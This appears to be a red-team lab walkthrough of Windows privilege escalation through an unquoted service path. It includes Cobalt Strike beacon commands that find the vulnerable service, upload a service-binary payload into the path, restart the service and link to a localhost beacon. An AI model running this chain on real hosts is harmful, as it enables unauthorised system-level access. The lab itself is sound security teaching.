An unquoted service path is where the path to the service binary is not wrapped in quotes. Why is that a problem? By itself it's not, but under specific conditions it can lead to an elevation of privilege.
WMI can be used to pull a list of every service and the path to its executable. Here are some examples:
beacon> run wmic service get name, pathname
Name PathName
ALG C:\Windows\System32\alg.exe
AppVClient C:\Windows\system32\AppVClient.exe
Sense "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
[...snip...]
VulnService1 C:\Program Files\Vulnerable Services\Service 1.exe
\
We can see that the paths for ALG and AppVClient are not quoted, but the path for Sense is. The difference is that this latter path has spaces in them. VulnService1 has spaces in the path and is also not quoted - this is condition #1 for exploitation.
When Windows attempts to read the path to this executable, it interprets the space as a terminator. So, it will attempt to execute the following (in order):
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Services\Service.exe
If we can drop a binary into any of those paths, the service will execute it before the real one. Of course, there's no guarantee that we have permissions to write into either of them - this is condition #2.
The PowerShell Get-Acl cmdlet will show the permissions of various objects (including files and directories).
We can see from the output that BUILTIN\Users have CreateFiles privilege on the C:\Program Files\Vulnerable Services directory, which means we can upload a malicious binary to hijack this unquoted path.
SharpUp will also list any services that match these conditions.
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath
=== SharpUp: Running Privilege Escalation Checks ===
=== Services with Unquoted Paths ===
Service 'VulnService1' (StartMode: Automatic) has executable 'C:\Program Files\Vulnerable Services\Service 1.exe', but 'C:\Program Files\Vulnerable Services\Service' is modifable.
\
Payloads to abuse services must be specific "service binaries", because they need to interact with the Service Control Manager. When using the "Generate All Payloads" option, these have svc in the filename.
I recommend the use of TCP beacons bound to localhost only for privilege escalations.
\
beacon> cd C:\Program Files\Vulnerable Services
beacon> ls
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
5kb fil 02/23/2021 15:04:13 Service 3.exe
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> ls
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
5kb fil 02/23/2021 15:04:13 Service 3.exe
290kb fil 03/03/2021 11:11:27 Service.exe
beacon> run sc stop VulnService1
SERVICE_NAME: VulnService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
beacon> run sc start VulnService1
SERVICE_NAME: VulnService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 4384
FLAGS :
\
Standard users cannot stop or start services by default, so you would usually need to wait for a computer reboot. This privilege has been granted in the lab for quality of life.
\
When you start the service, you'll see its state will be START_PENDING. If you then check its status with sc query VulnService1, you'll see it will be STOPPED. This is by design. You will also not see a Beacon appear in the UI automatically. But you should see the port you used in your TCP listener configuration (in my case 4444) is now listening on 127.0.0.1.
beacon> run netstat -anp tcp
[...snip...]
TCP 127.0.0.1:4444 0.0.0.0:0 LISTENING
\
The Beacon is waiting for us to connect to it, which we do with the connect command.
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102
\
\
To restore the service, simply delete Service.exe and restart the service.